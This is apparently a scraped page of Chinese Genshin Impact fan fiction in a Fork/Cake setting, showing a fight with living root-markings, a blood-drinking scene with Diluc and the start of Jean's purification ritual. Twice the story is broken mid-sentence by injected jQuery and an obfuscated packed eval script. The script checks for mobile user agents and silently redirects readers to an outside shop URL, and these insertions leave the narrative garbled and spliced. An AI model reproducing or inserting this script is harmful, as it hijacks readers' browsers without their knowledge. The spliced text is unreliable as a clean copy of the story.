$(''.inform'').remove(); $(''#content'').append('' ,开始回应。 不是退缩。 是……共鸣。 一种更深层的、更古老的共鸣。 ……火…… ……温暖…… ……像母亲怀里的温度…… 那个声音在她意识里低语,带着一种近乎眷恋的叹息。 然后,纹路的光芒变了。 从暗金,变成金红。 像夕阳,像熔金,像……迪卢克眼睛的颜色。 “不……”迪卢克察觉到了异常,想收手。 但来不及了。 荧身上的纹路彻底活了过来。 它们不再仅仅是皮肤下的图案,开始脱离她的身体,像真正的树根一样,向外伸展,缠绕,生长! 金色的根系刺破皮肤,扎进泥土,疯狂地向地底深处钻去。同时向上蔓延,缠住她的四肢,缠住她的躯干,甚至开始向她的脸颊爬—— “荧——!”派蒙尖叫。 琴拔出了剑。 凯亚的冰元素在掌心凝聚成尖锐的棱锥。 迪卢克没有动。 他盯着那些金色的根系,盯着根系深处流动的、和他瞳孔同样颜色的光,赤红的眼睛里翻涌着某种近乎震骇的情绪。 “这是……”他低声说,像在确认什么,“‘世界树’的……根须?” 话音未落—— 所有根系,猛地收缩! 不是退回体内,是向内收紧,像无数条金色的锁链,把荧死死捆住,然后——拖拽。 向着地底拖拽。 “抓住她!”琴冲上来,剑刃斩向根系。 但剑刃砍在根系上,发出金属碰撞的脆响,只留下浅浅的白痕。 凯亚的冰棱射向根系连接地面的部分,试图冻结。但冰棱接触到根系的瞬间,就被金色的光芒融化。 迪卢克终于动了。 他抓住缠在荧身上最粗的那条根系,双手用力,炽热的高温瞬间将根系烧得通红—— 根系发出一声尖锐的、像是活物惨叫的嘶鸣! 然后,松开了。 其他根系也跟着松动。 荧从捆缚中跌出来,被迪卢克一把接住。她浑身都是被根系勒出的血痕,皮肤下的纹路颜色暗淡了许多,但依然存在。 根系缩回地底,消失不见。 只留下地面上一片狼藉——枯萎的草,焦黑的土,和几十个深不见底的、细小的孔洞。 风起地死一般寂静。 只有荧在迪卢克怀里,剧烈地喘息。 琴的剑还握在手里,但手指在抖。 凯亚站在原地,独眼死死盯着那些孔洞,脸上的笑彻底消失了。 派蒙飞过来,哭着抱住荧的脖子。 “吓死我了……呜呜呜……我以为你要被拖到地底下去了……” 迪卢克把荧扶稳,让她靠着自己站稳,然后松开手。 他的手上,有被根系灼伤的痕迹——不是烫伤,是像被强酸腐蚀过的溃烂。但他没在意,只是盯着荧。 “刚才,”他说,声音沙哑,“你听见的那个歌声……再描述一遍。” 荧喘着气,努力回忆。 “很多人……在唱……不是蒙德的歌,也不是璃月的……语言听不懂,但调子……很悲伤。像在送葬,又像在……迎接。” 她顿了顿。 “还有哭声。很多人在哭。喊‘妈妈’,喊‘回家’,喊……‘不要丢下我们’。” 迪卢克的脸色越来越沉。 琴走上前。 “迪卢克前辈,你知道这是什么,对吗。” 迪卢克沉默了很久。 然后,他点头。 “在璃月,我查阅了七星秘藏的所有古籍。”他低声说,“其中一卷,记载了坎瑞亚灭亡前的最后一段历史。里面提到……坎瑞亚人信仰的,不是七神,是一棵树。” “树?” “一棵他们称之为‘母亲’的树。”迪卢克说,“传说那棵树连接着所有坎瑞亚人的灵魂,是他们力量的源泉,也是他们最终的归宿。坎瑞亚灭亡时,那棵树被天理摧毁,树根断裂,树冠焚毁。但有些根系……残留了下来。深埋在地脉深处,带着亡国者的执念,一直在寻找‘回家的路’。” 他看向荧身上的纹路。 “金色的,树根状的,会回应强烈情绪和元素刺激的烙印……”他顿了顿,“和古籍里描述的,‘母亲树根须的印记’,一模一样。” 所有人都愣住了。 凯亚第一个反应过来。 “所以小可爱身上的,是坎瑞亚的……‘遗产’?” “不完全是。”迪卢克说,“坎瑞亚人已经灭亡了。但这东西……还活着。它在找宿主,找能承载它、带它‘回家’的宿主。” 他看向荧,眼神复杂。 “而你,碰巧是那个‘合适’的人选。” 荧站在原地,脑子里一片混乱。 坎瑞亚。母亲树。亡国者的执念。回家的路。 这一切,和她有什么关系? 她只是个旅人,来找哥哥的。 “为什么是我。”她问。 “我不知道。”迪卢克坦白,“但有一点可以肯定——从现在起,你不再只是一个需要控制的Fork。你是‘钥匙’。一把能打开某种古老封印,或者……召唤某种不该存在的存在的钥匙。” 他看向琴和凯亚。 “而我们的‘三方监护’,现在看来,可能不够了。” 琴握紧了剑柄。 “你什么意思。” “意思是我们需要更多信息,更多力量,更多……”迪卢克顿了顿,“防备。防备那些可能已经察觉到‘钥匙’存在的人。或者……非人。” 风起地的风又吹起来了。 带着草叶的腥,泥土的涩,和远处果酒湖的水汽。 荧站在三个人中间,看着他们脸上各异的表情——琴的凝重,迪卢克的冷峻,凯亚眼底深处那抹越来越浓的兴趣。 她身上的纹路还在隐隐发烫。 金色的光点在皮肤下流动,像在呼吸。 派蒙紧紧抓着她,小声抽泣。 而那个声音,还在意识深处低语。 ……回家…… ……母亲在等…… ……门已开……路已显…… 她抬起头,看向蒙德城的方向。 钟楼在远处矗立,风车缓缓转动。 看起来一切如常。 【下章预告】 风起地事件后,荧被严加看管。琴加强了骑士团的护卫,迪卢克调来了晨曦酒庄的暗哨,凯亚的视线则无处不在。而烙印在沉寂三天后,于深夜再次发作——这一次,它没有攻击,而是传递了一幅清晰的地图。地图的终点,指向龙脊雪山深处某个被遗忘的古老祭坛。与此同时,深渊教团在蒙德周边的活动突然加剧,他们的目标似乎也正是雪山。三方势力不得不暂时放下成见,共同制定一次危险的雪山之行。而在出发前夜,凯亚溜进了荧的房间,递给她一把冰蓝色的匕首:“小可爱,带上这个。如果到时候有人想把你当祭品献祭……记得捅得狠一点。” 21. 味道 荧在昏沉与清醒的边缘浮沉。 意识像浸在温水里,沉重,迟缓。每一次试图上浮,都被左胸烙印处传来的、缓慢而顽固的灼痛拖拽回去。 那痛不尖锐,是一种闷在骨头里的烧灼感,伴随着皮肤底下那些暗金色纹路细微的、持续不断的蠕动。 她记得风起地最后的情景,金色的根系从她身体里爆发,缠缚,拖拽,然后是迪卢克灼热的手,琴冰冷的剑风,凯亚……凯亚说了什么?记不清了。 再然后,是血的味道。 铁锈似的腥甜,滚烫,浓烈得像一口吞下了燃烧的葡萄园。那味道钻进喉咙的瞬间,胃里那团永远饥饿的暗影发出了前所未有的、近乎狂喜的震颤。随之而来的,是一股霸道而醇厚的热流,从喉咙一路烧到胃里,再顺着血管蔓延至四肢百骸。 铁锈的腥,燃烧的甜,阳光曝晒后葡萄皮的微涩。 那热流所过之处,疯狂生长的烙印纹路像被烫到的蛇,猛地收缩,瑟缩,然后……平息了。不是消失,是蛰伏。像被更强大的力量暂时压制,不得不退回巢穴。 她本能地追逐那味道,吮吸,吞咽,直到一只手强硬而不失小心地捏住她的下巴,迫使她松开。 “够了。” 是迪卢克的声音。很近,带着一种她从未听过的、压抑的沙哑。 羞耻感后知后觉地涌上来,烧得她耳根发烫。 接着是意识彻底沉入黑暗。 现在,她醒在一张柔软得过分的大床上。空气里有股陈年橡木、上好羊毛毯和淡淡药草混合的味道,奢华而沉静。身下的床垫像云,身上的被子轻而暖。这不是骑士团的疗养室,也不是古恩希尔德庄园。 是晨曦酒庄。 她侧过头,看见床头柜上放着一杯水,水面浮着薄冰,旁边是个空了的琉璃小碗,碗底残留着一点暗红色的、已经干涸的痕迹。 血。 迪卢克的血。 胃里那团暗影满足地蜷缩着,发出近乎餍足的微弱嗡鸣。左胸的烙印不再剧痛,只是持续发烫,但烫得……不一样了。 以前是地底熔岩般的、带着腐蚀性的灼热,现在,那灼热里混进了一丝陌生的、醇厚的暖意,像冬日壁炉里将熄未熄的余烬,持续散发着温度。 她抬起左手——手腕到肩膀,依然爬满暗金色的树根状纹路,但颜色似乎比昏迷前柔和了些,不再那么狰狞刺目。纹路随着她的动作微微起伏,像在呼吸。 门被轻轻推开。 派蒙端着一个小托盘飞进来,上面放着热牛奶和烤得恰到好处的黄油面包。看见荧睁着眼,她的小脸立刻亮起来,眼圈却红了。 “荧!你醒了!”她把托盘往旁边一放,扑过来抱住荧的脖子,“吓死我了!我以为你……你……” “我没事。”荧拍拍她小小的背,声音有点哑,“这是哪里?我睡了多久?” “晨曦酒庄。你睡了……两天两夜。”派蒙抽抽噎噎地说,“是迪卢克老爷把你带回来的。琴团长和凯亚队长也来了,他们……他们吵得好厉害。” 荧接过派蒙递来的水,冰水滑过喉咙,带来短暂的清明。 “吵什么?” “就是……关于你。”派蒙绞着手指,“琴团长说迪卢克老爷不该给你喝他的血,说那是饮鸩止渴,会把你推向更危险的依赖。迪卢克老爷说……说总比看着你被那东西拖进地底变成怪物强。凯亚队长就在旁边笑,说些……怪怪的话。” “什么怪话。” “他说……”派蒙模仿着凯亚那种懒洋洋的调子,“‘哇哦,暗夜英雄的鲜血救赎,真是经典戏码。下次是不是该轮到骑士团长献上忠诚之吻,或者我来场冰霜诱惑?’然后琴团长的脸色就……好可怕。” 荧沉默地喝着牛奶。温热的液体安抚了胃,却安抚不了心里翻腾的复杂情绪。 羞愧?有一点。 在不清醒的状态下,像野兽一样吮吸他人的血液,无论出于什么原因,都让她感到难堪。 恐惧?更多。 她清晰地记得血液入口时那种灭顶般的满足感,身体每一个细胞都在欢呼。那是比任何Cake气息都更直接、更致命的诱惑。如果当时迪卢克没有阻止,她会喝到什么程度? 还有一丝……连她自己都不愿深究的、隐秘的回味。那血带来的不只是压制烙印的力量,还有一种奇异的、温暖的充盈感,仿佛干涸的土地终于等来了甘霖。 门再次被敲响,这次是两声沉稳的轻叩。 “进。” 迪卢克推门进来。他换了身居家的深灰色丝绒长袍,腰间松松系着带子,赤红的长发披散着,少了些平日的锐利,多了分疲惫的慵懒。但他走进房间的瞬间,空气里的温度还是几不可察地升高了少许。 他手里拿着一个皮质笔记本和一支羽毛笔。 “感觉如何。”他走到床边,没有坐下,只是站着,目光落在她左臂的纹路上,像是在观察某种实验样本的变化。 “还好。谢谢。”荧说,顿了顿,补充道,“……血的事。” 迪卢克的表情没什么变化。 “必要的应急措施。”他语气平淡,仿佛在说给伤口消毒。 “你的烙印当时处于暴走态,常规方法无效。我的血里含有高浓度火元素和……一些特殊的抗性因子,能暂时压制地脉污染。效果类似强效抑制剂,但更直接。” 他翻开笔记本,快速记录了几笔。 “副作用:可能导致短期依赖,增强你对特定Cake血液的渴望。但总比烙印彻底失控强。” 他说得如此冷静,如此理所当然,好像在评估一笔生意的风险收益比。 荧看着他握笔的手。手背上有一道新鲜的、已经结痂的狭长伤口,边缘整齐,显然是利刃所致。那就是血源。 “伤口……”她下意识开口。 迪卢克停下笔,瞥了一眼自己的手背。 “小伤。”他合上笔记本,“烙印的活性暂时被压制了百分之六十,生长速度归零。但这不是永久解决方案。我们需要找到根源。” 他看向荧。 “等你体力恢复,我们需要详细记录血液灌注后的各项生理数据。另外,琴和凯亚今天下午会过来。有些事……需要当面说清。” 他提到那两人名字时,语气里没有任何情绪,但荧莫名感到空气更紧了几分。 “他们……还在吵?”她试探着问。 迪卢克转身走向门口,在拉开门前,侧头说了一句: “立场不同,分歧自然存在。但至少现在,目标一致——让你活下去,且不变成怪物。” 门关上。 派蒙飞过来,小声说:“迪卢克老爷好像……心情不太好?” 不是心情不好。荧想。是某种更深的、被他用绝对理性压抑着的东西。或许连他自己都未察觉。 下午,琴和凯亚几乎是前后脚到的。 会面的地点在酒庄二楼的小客厅。阳光透过高大的彩绘玻璃窗,在地毯上投下斑斓的光影。长桌上摆着埃泽准备的茶点,空气里有红茶的香气和一丝若有若无的、属于迪卢克的醇厚酒香——他本人坐在主位,已经换回了惯常的黑色制服,头发也一丝不苟地束起,恢复了平日里那个无懈可击的莱艮芬德家主形象。 琴坐在他左手边。她穿着笔挺的团长常服,金发挽得一丝不苟,坐姿挺拔如松,面前放着一杯没动过的红茶。她的表情平静,但荧注意到她握着茶杯柄的手指,因为用力而微微泛白。 凯亚斜倚在窗边,手里把玩着一枚冰蓝色的棋子——不知道他从哪拿的。他没穿制服,是一身便于行动的深蓝色便装,披风随意搭在椅背上。他脸上挂着惯有的笑,但那笑意并未到达眼底,独眼在琴和迪卢克之间慢悠悠地转,最后落在刚进门的荧身上。 “哟,小可爱醒了。”他笑眯眯地打招呼,“气色不错嘛,看来迪卢克老爷的‘特效药’效果显著。” 荧在迪卢克右手边的空位坐下。 派蒙犹豫了一下,还是飞到她身后的高背椅扶手上,紧张地抓着自己的小披风。 “直接说正事。”琴开口,声音清晰冰冷,“迪卢克前辈的方法虽然暂时稳定了情况,但风险极高。我们需要一个长期、可控、不依赖于极端手段的解决方案。” “长期方案?”凯亚挑眉,“琴团长,你训练了快一个月,建立‘锚点’,结果小可爱一遇到地脉暴走,锚点就碎了。迪卢克老爷放点血,立竿见影。这对比……有点残酷啊。” 琴的下颌线绷紧了。 “我的方法需要时间。而且,饮血止渴只会让问题更复杂。荧现在体内有了迪卢克前辈的血,这意味着什么?意味着她对特定Cake血液的敏感性和依赖性会急剧上升。下一次她失控,是不是必须用同样的方式压制?如果下一次迪卢克前辈不在场呢?如果下一次需要的‘剂量’更大呢?” 她看向迪卢克,眼神锐利。 “你在制造一个更危险的循环,前辈。” 迪卢克没有立刻反驳。他端起自己的酒杯——里面是清水,抿了一口。 “所以你的提议是。”他放下杯子,看向琴。 “暂停所有外部刺激训练。”琴说,语气不容置疑,“回归基础。重新巩固锚点,同时由我主导,尝试用古恩希尔德家族的秘法,缓慢净化地脉烙印。这需要时间,也需要荧完全配合,处于绝对稳定的环境。” “绝对稳定?”凯亚嗤笑,“琴团长,你是想把她关回你的庄园温室,再锁上半年?外面的敌人可不会等你慢慢净化。” “至少比让她一次次暴露在极端刺激下,依赖越来越危险的手段强!”琴的声音提高了一些,那是她极少展露的情绪波动。 “依赖?”凯亚站直身体,走到长桌边,手指敲了敲桌面,“说到依赖——小可爱现在身体里流着迪卢克老爷的血,这算不算已经建立了某种……‘绑定’?比起你那冷冰冰的‘锚点’,这种血肉相连的诱惑,哪个更牢固?哪个更危险?” 他看向荧,独眼里闪着某种近乎残忍的探究光。 “小可爱,你自己说。昨天你喝下去的时候……是什么感觉?是不是比闻到我、或者闻到琴团长的气息,更满足?” 这个问题像一把冰锥,扎进原本就紧绷的空气里。 琴猛地看向荧,湖蓝色的瞳孔深处颤了一下。 迪卢克握着酒杯的手指,几不可察地收紧。 荧感到脸颊发烫。不是害羞,是某种被赤裸裸剖开的难堪。她放在膝盖上的手蜷缩起来,指甲掐进掌心。 “……那是本能。”她听见自己说,声音低而涩,“不受控制的本能。” “哦?只是本能?”凯亚逼近一步,气息刻意地、缓慢地释放出来——不再是之前那种滑腻的引诱,而是一种更尖锐的、带着冰碴的挑衅,“那如果现在,我也给你我的血,你会怎么选?还是说……你已经认准了迪卢克老爷的味道?” “凯亚!”琴厉声喝止,“适可而止!” “我只是在帮小可爱认清现实。”凯亚摊手,但气息没收回。 “现实就是,她现在是个行走的‘瘾君子’,而迪卢克老爷的血,可能是她目前能找到的、最有效的‘药’。琴团长,你的净化疗法听起来很美,但远水救不了近火。下次她再暴走,你是打算看着她死,还是默许迪卢克老爷继续‘喂’她?” “我不会让她死。”迪卢克终于开口,声音不高,却像投入静湖的石子,带着沉甸甸的重量,“但我同意琴的观点——依赖血液不是长久之计。” 他转向琴。 “你的净化疗法,需要多久才有初步效果。” “至少三个月。而且需要完全隔绝外部Cake气息干扰。”琴说。 “三个月太长了。”迪卢克摇头,“深渊教团和‘捕食者’不会给我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这个距离太近了,近得荧能看清他独眼里细碎的、冰蓝色的光,和那深处某种近乎恶劣的好奇。 “小可爱,”他轻声问。 “迪卢克老爷的血……是什么味道的?” 荧的瞳孔猛地收缩。 琴瞬间起身,“凯亚!” 迪卢克的酒杯放在桌上,发出不轻不重的“咔”一声。 凯亚没理他们,只是盯着荧,等着一个答案。 荧感到喉咙发干。那个味道……滚烫,醇厚,带着燃烧般的甜腥和一丝奇异的、类似阳光炙烤过后的焦苦。她记得清清楚楚。 但她说不出口。 说出来,就像承认了某种可耻的沉迷。 “我……”她张了张嘴。 “够了。” 迪卢克站了起来。他的身影在彩窗投下的光影里显得格外高大,阴影笼罩下来,带着无形的压迫感。他没有看凯亚,而是看向琴。 “今天就到这里。具体方案细节,明天再议。” 他下了逐客令。 琴深吸一口气,压下眼底翻涌的情绪,点了点头。 “荧,好好休息。明天我会带净化方案的详细资料过来。” 她转身离开,步伐依旧稳定,但背影绷得像一张拉满的弓。 凯亚直起身,拍了拍并不存在的灰尘,脸上又挂起那副懒洋洋的笑。 “行,那我也撤了。小可爱,好好回味哦。”他意有所指地眨眨眼,跟着琴走了出去。 客厅里只剩下荧、迪卢克和缩在椅背上的派蒙。 沉默在蔓延。只有壁炉里木柴燃烧的细微噼啪声。 良久,迪卢克走到窗边,背对着荧。 “他故意的。”他说,声音很平,“凯亚在试探你的反应,也在试探我的底线。” “那你呢。”荧忽然问,“你也在试探吗?用你的血。” 迪卢克的背影顿了一下。 “那是当时唯一的选择。”他说,“但我必须承认……它有后果。” 他转过身,赤红的眼睛看向她,那里面没有了平时的冷峻,只有一种沉重的坦诚。 “我的血里除了元素力,还有别的东西。莱艮芬德家族世代与火元素共生,血脉里沉淀了一些……特质。它现在在你身体里,会改变你对火元素、对我个人气息的感知。短期内,你会对我产生一种本能的亲近和依赖。这很危险。” 他走到她面前,从口袋里拿出一个小小的、密封的玻璃管,里面是暗红色的、浓稠的液体。 “这是提纯后的血清,效果弱化了。如果下次烙印再有暴走迹象,而我不在,你可以用这个应急。但记住——这只是权宜之计。每一次使用,都会加深那种联系。” 他把玻璃管放在她手边的桌上。 “选择权在你。是相信琴的漫长净化,还是依靠这种危险但有效的‘药’。” 他顿了顿。 “或者,走第三条路——在我们所有人的方法里,找到属于你自己的平衡。” 说完,他不再停留,转身离开了客厅。 荧独自坐在光影交织的长桌旁,看着那管暗红色的血清。玻璃壁在阳光下折射出妖异的光泽。 派蒙飞过来,小声说,“荧……我们现在怎么办啊?” 怎么办? 荧伸出手,指尖悬在玻璃管上方。她能感觉到,仅仅是靠近,左胸的烙印就开始微微发烫,胃里的暗影也蠢蠢欲动。 那是一种呼唤。 来自血脉深处的、危险的呼唤。 她收回手,握成了拳。 窗外,琴和凯亚的身影已经消失在庄园外的葡萄园小径上。一个笔直如剑,一个散漫如风。 而迪卢克留在她身体里的余烬,还在静静燃烧。 22. 净化 古恩希尔德家族的禁地,不在庄园内,也不在蒙德城。 它在低语森林深处,一片被古老结界笼罩的、终年弥漫着淡薄雾气的林间空地。 参天的冷杉树如同沉默的卫兵,树皮上刻着早已黯淡的家族符文。空地中央,是一座由灰白色岩石垒成的、低矮的圆形石坛,坛面光滑如镜,边缘蚀刻着复杂的星图与风之纹章。 这里的时间仿佛流淌得比外界更慢。空气里只有树叶摩挲的沙沙声,和远处溪流永无止境的淙淙水响。气息干净得近乎贫瘠——没有Cake的诱惑,也没有寻常Fork的躁动,只有冷杉、苔藓、岩石和岁月沉淀下来的、沉重的寂静。 荧站在石坛边缘,看着琴用一把银质的小刀,沿着石坛上的纹路,缓慢而精准地倒入一种散发着清凉苦味的银色粉末。粉末接触石坛的瞬间,亮起微弱的白光,沿着纹路流淌,逐渐点亮整个星图。 “净化仪式将持续七天。”琴的声音在寂静中显得格外清晰,她没有抬头,专注于手中的工作,“每天黎明、正午、黄昏、子夜四个时辰,你需要坐在坛心,配合我诵念的符文,引导自身气息与坛内的净蚀之力共鸣,逐步冲刷烙印中的地脉污染。” 她倒完最后一撮粉末,直起身,看向荧。晨光透过林间雾气,在她脸上投下斑驳的光影,让她看起来有些不真实。 “过程会很枯燥,也可能伴随不适。但最重要的是——绝对的心神沉静。不能有强烈的情绪波动,不能回应任何外部气息干扰。”她的目光若有似无地扫过石坛外围,“所以,在仪式期间,我会在坛边护法。至于其他人……” 她顿了顿。 迪卢克站在石坛东侧,背靠着一棵需要两人合抱的冷杉。 他换了一身便于活动的黑色劲装,巨剑插在身旁的泥土里,赤红的长发用皮绳束紧,整个人像一尊凝固的暗火雕像。 从进入禁地起,他就没说过话,只是沉默地观察着环境,气息收敛到近乎不存在,但那股磐石般的、不容忽视的存在感,却比任何张扬的威慑都更沉重。 凯亚在西侧,坐在一截倒伏的枯木上。他手里削着一根细长的树枝,冰蓝色的短刀在他指尖灵活翻转,木屑簌簌落下。他看起来是最放松的一个,甚至吹着不成调的口哨,但那只独眼时不时掠过的、针尖般的锐利视线,暴露了他的警觉。 听到琴的话,凯亚削树枝的动作停了停,嘴角勾起。 “琴团长的意思是,我们俩就是‘外部干扰源’,得离远点,乖乖当门神?” “是护卫。”琴纠正,语气平静,“警戒外围,确保没有魔物或其他不速之客打扰仪式。” “也包括防止我们互相干扰,对吧?”凯亚笑眯眯地补充。 琴没有回答,默认了。 迪卢克终于开口,声音低沉,“位置。” 琴指向石坛南北两侧,距离石坛约十步远的两个点。 “南侧视野开阔,便于观察林地。北侧靠近溪流,是可能的潜入路径。两位可以自行分配。” 凯亚抢先起身,拍了拍身上的木屑。 “那我选北边。我喜欢听水声。”他走到北侧点位,靠着另一棵树坐下,短刀在指尖转了个花,“放心,琴团长,我保证只‘听’,不‘做’什么。” 迪卢克没说什么,径直走到南侧点位,抱臂站定,目光投向雾气弥漫的林地深处。 琴看着两人就位,深吸一口气,转向荧。 “开始吧。” 荧依言走到石坛中央,盘膝坐下。石面冰凉,透过单薄的训练裤传来。她调整呼吸,试图让心神沉静下来。 琴在她对面坐下,闭上双眼,双手结出一个古老的手印。她的嘴唇开始翕动,诵念起音节古怪、旋律低沉的符文。随着她的诵念,石坛上点亮的星图光芒渐盛,银白色的光晕从坛面升腾而起,形成一个半透明的光罩,将两人笼罩在内。 光罩成型的瞬间,外界的声响——风声、水声、甚至鸟鸣——都变得遥远而模糊。一种奇异的、清凉的气息从石坛涌入荧的身体,像无数细小的冰针,缓缓刺向皮肤下的烙印纹路。 烙印纹路立刻有了反应。 暗金色的光芒微微亮起,纹路像受惊的藤蔓般蠕动,试图抵抗这股外来的、试图“净化”它的力量。一股熟悉的、闷在骨头里的灼痛再次泛起,但比之前轻微得多。 荧咬牙忍住,按照琴事先教导的方法,尝试引导那股清凉气息,一点点冲刷灼痛的源头。 时间在枯燥的重复中缓慢流逝。 正午,第二次仪式。 黄昏,第三次。 每一次,清凉气息与烙印的对抗都如同微型的战争,在荧的体内无声地进行。疼痛时轻时重,汗水浸湿了她的后背,又被石坛的凉意和自身逐渐微弱的体温带走。 她能感觉到,烙印的活性确实在被缓慢压制。纹路的光芒黯淡了些,蠕动也变缓了。但与此同时,另一种不适感悄然滋生——一种源于“匮乏”的空虚感。 就像习惯了某种背景噪音,突然被置于绝对的寂静中,反而会感到不安。她的身体,尤其是胃里那团暗影,习惯了时刻警惕、对抗或渴望Cake的气息,此刻在这片被净化结界隔绝的“绝对洁净”环境里,竟产生了一种无所适从的焦躁。 更微妙的是,迪卢克血液留在她体内的那股“余烬”般的暖意,在净蚀之力的冲刷下,并没有消失,反而像是被凸显了出来,成为这冰冷净化过程中,唯一一点持续散发热源的“异物”。 它让她在对抗烙印疼痛时,偶尔会分神想起那滚烫醇厚的味道,想起吮吸时灭顶般的满足感。 这种联想让她感到羞愧,却无法彻底驱散。 夜幕降临,禁地陷入更深的黑暗。只有石坛散发着微弱的银光,勉强照亮坛心一小片区域。 子夜,第四次仪式。 琴的声音因持续诵念而有些沙哑,但依旧平稳。荧的精力已经接近极限,意识在冰冷的净化与烙印的隐痛中浮沉,几乎无法集中。 就在这时,她忽然感觉到一丝极其微弱的、冰冷而甜腻的气息,像一根细丝,悄无声息地穿过净化结界的光罩,轻轻搔刮了一下她的感知边缘。 是凯亚。 他显然没有完全收敛气息,或许是故意的,或许是……试探。 荧的呼吸乱了一瞬。 胃里的暗影像闻到血腥味的鲨鱼,猛地苏醒,躁动起来。左胸的烙印纹路也随之轻轻一颤。 琴的诵念声骤然停顿。 她睁开眼睛,湖蓝色的瞳孔在坛光的映照下冷得像冰,直直看向北侧凯亚的方向。 “凯亚队长。”她的声音不高,但每个字都像冰珠砸在地上,“收敛你的气息。” 黑暗里传来凯亚懒洋洋的回应:“哎呀,抱歉抱歉,一时走神。这地方太安静了,安静得让人想找点乐子。” 但他的气息确实收敛了回去。 琴重新闭眼,继续诵念。但接下来的符文,似乎比之前更冷硬了几分。 荧重新集中精神,将那一丝被打断的悸动压下去。但她的余光瞥见,南侧迪卢克的身影,在刚才那一瞬间,似乎微微侧头,朝凯亚的方向看了一眼。虽然很快转了回去,但那一瞥中蕴含的警告意味,几乎凝成实质。 第一天的仪式,终于在压抑的紧绷感中结束。 光罩散去,外界的声响和气息重新涌入。荧几乎虚脱,扶着石坛边缘才勉强站起。 “回去休息。”琴也站起身,脸色有些苍白,但腰背依然挺直,“明天黎明继续。” 临时营地设在禁地边缘,是三顶简易的帐篷。琴和荧共用一顶较大的,迪卢克和凯亚各一顶小的,呈三角分布,将琴和荧的帐篷围在中间。 派蒙已经在帐篷里铺好了睡袋,热好了简单的汤食。荧喝着寡淡的蔬菜汤,感觉身体的力气在一点点恢复,但精神上的疲惫更深。 帐篷外传来极低的说话声,是凯亚和迪卢克在交接守夜。 “上半夜我来。”是迪卢克的声音。 “行啊,那下半夜换我。”凯亚的语调依然轻松,“不过迪卢克老爷,你可别趁着月黑风高,偷偷给我们小可爱加餐啊。” 短暂的沉默。 然后迪卢克冰冷的声音响起,“管好你自己。” 脚步声远去,大概是凯亚回自己帐篷了。 荧放下汤碗,躺在睡袋里。帐篷外,迪卢克守夜的脚步声很轻,但规律,像某种沉稳的心跳。远处溪流的水声,凯亚帐篷里偶尔传来的、几不可闻的金属摩擦声,大概又在玩他的刀,还有身边琴平缓而克制的呼吸声。 三种不同的存在感,以她为中心,构筑成一个无形而坚固的三角。 她左胸的烙印,在寂静中微微发烫。那点源于迪卢克血液的“余烬”暖意,在这冰冷疲惫的夜里,显得格外清晰。 第二天,重复。 第三天,依然如此。 仪式带来的净化效果是缓慢而确切的。荧手臂和胸口的纹路颜色更淡了,几乎变成浅金色,蠕动近乎停止。她对Cake气息的本能渴望,似乎也因持续处于“洁净”环境而变得迟钝了些。 但代价是精神的极度疲乏,和一种越来越明显的、被“抽空”的感觉。仿佛有什么支撑着她的、属于“荧”这个存在本身的东西,也在被一同净化、稀释。 第三天黄昏仪式结束后,她叫住了准备离开石坛的琴。 “琴团长。” 琴停下脚步,回头看她。 “净化……会不会把‘我’也净没了?”荧问,声音有些干涩。 琴愣了一下,随即明白了她的意思。她走回石坛边,在荧对面坐下,沉默了片刻。 “古恩希尔德的净化秘法,目标始终是‘异质’与‘污染’。”她缓缓开口,“烙印是地脉强加于你的异质,Fork对Cake的欲望,从社会规训角度看,也是需要控制的‘异质’。秘法会放大你自身意识中对这些‘异质’的排斥,引导你的力量去冲刷它们。” 她看着荧的眼睛。 “所以,如果你感到‘自我’在被削弱,那或许是因为……在你内心深处,你也将‘Fork的本能’和‘烙印的联系’,视作了‘非我’的一部分,想要排斥、剥离。” 这个认知让荧心头一震。 “可如果剥离了这些……我还剩下什么?”她喃喃道。 琴没有回答。 这个问题,或许她自己也在寻找答案。 夜幕降临,又是守夜时分。 今晚轮到凯亚值全夜——迪卢克白天在林地外围发现了一些可疑的痕迹,决定趁夜色去更远处侦查。 荧躺在睡袋里,睡不着。连日的净化让她精神异常清醒,却又异常疲惫。帐篷外,凯亚守夜的脚步声比迪卢克更轻,更飘忽,偶尔会完全消失一阵,然后又在不远处响起。 忽然,帐篷的帘子被极轻地掀开一角。 荧瞬间警惕,手摸向枕边的训练短剑——那是琴允许她带进禁地的唯一武器。 “嘘,是我。”凯亚的声音压得很低,带着点笑意。他半个身子探进来,独眼在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122949|195980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑暗里泛着微光。 “你干什么?”荧握紧短剑。 “别紧张,给你送点‘补给’。”凯亚扔过来一个小布包。 荧接住,打开,里面是几块包装精致的枣椰蜜糖,散发着清甜诱人的香气——是迪卢克酒庄的特产。 “凯亚队长,”琴的声音从旁边的睡袋传来,她显然也没睡,“我说过,仪式期间,不能摄入任何可能刺激本能的东西。” “几块糖而已,琴团长,别这么不近人情。”凯亚靠在帐篷口,声音懒洋洋的,“小可爱这几天吃的东西比派蒙还素,脸都尖了。补充点糖分,保持体力,也是为了更好地配合你的净化嘛。” 他顿了顿,语气里带上点戏谑。 “还是说……你怕她尝了甜头,又会想起别的更‘带劲’的味道?” 帐篷里的空气瞬间降至冰点。 荧能感觉到琴的气息陡然变得锋利,尽管她人还躺在睡袋里。 “出去。”琴的声音冷得像西风雪山终年不化的冰。 凯亚低笑一声,没再说什么,放下帘子,脚步声渐远。 荧拿着那包糖,像拿着烫手山芋。甜腻的香气丝丝缕缕钻进鼻腔,胃里的暗影被勾起了些许涟漪。她犹豫了一下,最终还是把糖包塞到了睡袋底下。 不能碰。 至少现在不能。 